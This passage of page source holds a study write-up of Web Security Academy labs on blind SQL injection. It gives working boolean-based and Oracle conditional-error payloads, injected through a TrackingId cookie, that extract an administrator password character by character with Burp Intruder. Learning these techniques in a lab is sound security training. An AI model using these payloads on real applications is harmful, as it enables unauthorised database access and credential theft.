character by character.`]}),`\n`,_jsxs(_components.p,{children:[`The application returned a different response when the injected condition evaluated to `,_jsx(_components.strong,{children:`true`}),`, which allowed boolean-based extraction.`]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`4`,id:`working-payload`,children:`Working Payload`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`3`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`3`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`GET`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` / HTTP/2`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#22863A`,\"--shiki-dark\":`#F7768E`},children:`Host`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` 0adc00e4030450ba84de4c2e00db005d.web-security-academy.net`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#22863A`,\"--shiki-dark\":`#F7768E`},children:`Cookie`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`The injection works because the backend query likely looks like:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` TrackingId `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\u003ccookie value>`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`By injecting:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND \u003ccondition>--`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`I:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Closed the original string`}),`\n`,_jsx(_components.li,{children:`Appended a boolean condition`}),`\n`,_jsx(_components.li,{children:`Commented out the rest of the original query`}),`\n`]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`4`,id:`mistake-i-kept-making`,children:`Mistake I Kept Making`}),`\n`,_jsxs(_components.p,{children:[`I got stuck multiple times because I forgot to append `,_jsx(_components.code,{children:`--`}),` at the end of the payload.`]}),`\n`,_jsx(_components.p,{children:`Without the comment:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`The original query was not properly terminated`}),`\n`,_jsxs(_components.li,{children:[`The trailing `,_jsx(_components.code,{children:`'`}),` from the application broke the syntax`]}),`\n`,_jsx(_components.li,{children:`The condition never evaluated correctly`}),`\n`]}),`\n`,_jsxs(_components.p,{children:[`Important detail: `,_jsx(_components.code,{children:`--`}),` must usually be followed by a space.`]}),`\n`,_jsx(_components.p,{children:`Correct pattern:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND \u003ccondition>--`})]}),`\n`]})})}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`4`,id:`extraction-method`,children:`Extraction Method`}),`\n`,_jsx(_components.p,{children:`I used Burp Intruder to brute-force the password using prefix matching.`}),`\n`,_jsx(_components.p,{children:`Strategy:`}),`\n`,_jsxs(_components.ol,{children:[`\n`,_jsx(_components.li,{children:`Start with length = 1`}),`\n`,_jsx(_components.li,{children:`Bruteforce the first character`}),`\n`,_jsx(_components.li,{children:`Increase substring length gradually`}),`\n`,_jsx(_components.li,{children:`Continue expanding the known prefix`}),`\n`]}),`\n`,_jsx(_components.p,{children:`Example:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTR((SELECT password FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`), 1, 5) = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`ewlza`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`--`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`If the response indicated true, the prefix was correct.`}),`\n`,_jsx(_components.p,{children:`I increased the substring length from 1 up to 21.`}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`4`,id:`where-it-stopped-working`,children:`Where It Stopped Working`}),`\n`,_jsx(_components.p,{children:`When I tested length 21, I stopped getting matches.`}),`\n`,_jsx(_components.p,{children:`This indicated:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`The actual password length was likely 20 characters`}),`\n`,_jsx(_components.li,{children:`Comparing beyond the real length caused the condition to return false`}),`\n`]}),`\n`,_jsx(_components.p,{children:`This confirmed that the full password had been extracted.`}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`4`,id:`cleaner-alternative-approach`,children:`Cleaner Alternative Approach`}),`\n`,_jsx(_components.p,{children:`Instead of matching growing prefixes, a more controlled method is testing one character at a time:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTR((SELECT password FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`), 5, 1) = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`--`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`This avoids long prefix comparisons and reduces potential mistakes.`}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`4`,id:`key-takeaways`,children:`Key Takeaways`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`Always terminate injections with `,_jsx(_components.code,{children:`-- `}),`.`]}),`\n`,_jsx(_components.li,{children:`A missing SQL comment can completely break blind SQLi.`}),`\n`,_jsx(_components.li,{children:`If increasing substring length stops producing matches, you likely exceeded the real string length.`}),`\n`,_jsx(_components.li,{children:`Boolean-based blind SQLi works reliably when response differences exist.`}),`\n`,_jsx(_components.li,{children:`Burp Intruder is effective for structured character-by-character extraction.`}),`\n`]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`error-based-blind-sql-injection`,children:`Error-Based Blind SQL Injection`}),`\n`,_jsx(_components.p,{children:`Sometimes a query runs, but the page looks the same whether your condition is\ntrue or false. In that case, normal boolean response checks do not help.`}),`\n`,_jsx(_components.p,{children:`The workaround is to make the database throw an error only when a condition is\ntrue. Then you infer truth from a response difference (500 error, different\npage length, missing content, etc.).`}),`\n`,_jsx(Heading,{level:`3`,id:`two-common-outcomes`,children:`Two Common Outcomes`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Conditional error channel: trigger an error only when your condition is true.`}),`\n`,_jsx(_components.li,{children:`Verbose DB errors: in misconfigured apps, actual query data may leak directly\nin error messages.`}),`\n`]}),`\n`,_jsx(Heading,{level:`3`,id:`conditional-error-pattern`,children:`Conditional Error Pattern`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`2`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END)=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END)=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`})]}),`\n`]})})}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`1=2`}),` path returns `,_jsx(_components.code,{children:`'a'`}),` and usually no DB error.`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`1=1`}),` path hits `,_jsx(_components.code,{children:`1/0`}),` (divide-by-zero), causing a DB error.`]}),`\n`]}),`\n`,_jsx(_components.p,{children:`If the HTTP response changes between these two payloads, you can use this as a\ntrue/false oracle.`}),`\n`,_jsx(Heading,{level:`3`,id:`extracting-data-with-conditional-errors`,children:`Extracting Data With Conditional Errors`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`8`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND (`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` SELECT CASE`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHEN (Username = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`Administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTRING(Password, 1, 1) > `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`m`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` THEN 1/0`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM Users`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`)=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`One-liner (Burp-friendly):`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND (SELECT CASE WHEN (Username = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`Administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTRING(Password, 1, 1) > `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`m`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) THEN 1/0 ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END FROM Users)=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`If the request now errors, the condition is true. If it does not, the condition\nis false. Repeat this per character and position to recover the full value.`}),`\n`,_jsx(Heading,{level:`3`,id:`lab-conditional-errors-oracle-administrator-password`,children:`Lab: Conditional Errors (Oracle, Administrator Password)`}),`\n`,_jsxs(_components.p,{children:[`Vulnerable input: `,_jsx(_components.code,{children:`TrackingId`}),` cookie`]}),`\n`,_jsx(_components.p,{children:`Goal:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`Extract `,_jsx(_components.code,{children:`administrator`}),` password`]}),`\n`,_jsxs(_components.li,{children:[`Log in as `,_jsx(_components.code,{children:`administrator`})]}),`\n`]}),`\n`,_jsx(Heading,{level:`4`,id:`step-1-confirm-injection-oracle`,children:`Step 1: Confirm Injection (Oracle)`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM dual) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`If this is accepted, test a forced failure:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM dualfiewifow) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`If behavior changes, the parameter is injectable.`}),`\n`,_jsxs(Heading,{level:`4`,id:`step-2-confirm-users-table`,children:[`Step 2: Confirm `,_jsx(_components.code,{children:`users`}),` Table`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM users WHERE ROWNUM = 1) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`If this works, `,_jsx(_components.code,{children:`users`}),` exists.`]}),`\n`,_jsxs(_components.p,{children:[`Why `,_jsx(_components.code,{children:`ROWNUM = 1`}),` matters:`]}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`A scalar subquery inside `,_jsx(_components.code,{children:`|| (...) ||`}),` must return exactly one row.`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`(SELECT '' FROM users)`}),` can return many rows -> Oracle throws\n`,_jsx(_components.code,{children:`ORA-01427: single-row subquery returns more than one row`}),`.`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`(SELECT '' FROM users WHERE ROWNUM = 1)`}),` is capped to one row -> valid.`]}),`\n`]}),`\n`,_jsxs(Heading,{level:`4`,id:`step-3-confirm-administrator-row`,children:[`Step 3: Confirm `,_jsx(_components.code,{children:`administrator`}),` Row`]}),`\n`,_jsx(_components.p,{children:`First, check the row directly:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`Then validate your error channel baseline:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END FROM dual) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`Now trigger an error only if `,_jsx(_components.code,{children:`administrator`}),` exists:`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`8`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` SELECT CASE`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHEN (1=1) THEN TO_CHAR(1/0)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM users`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHERE 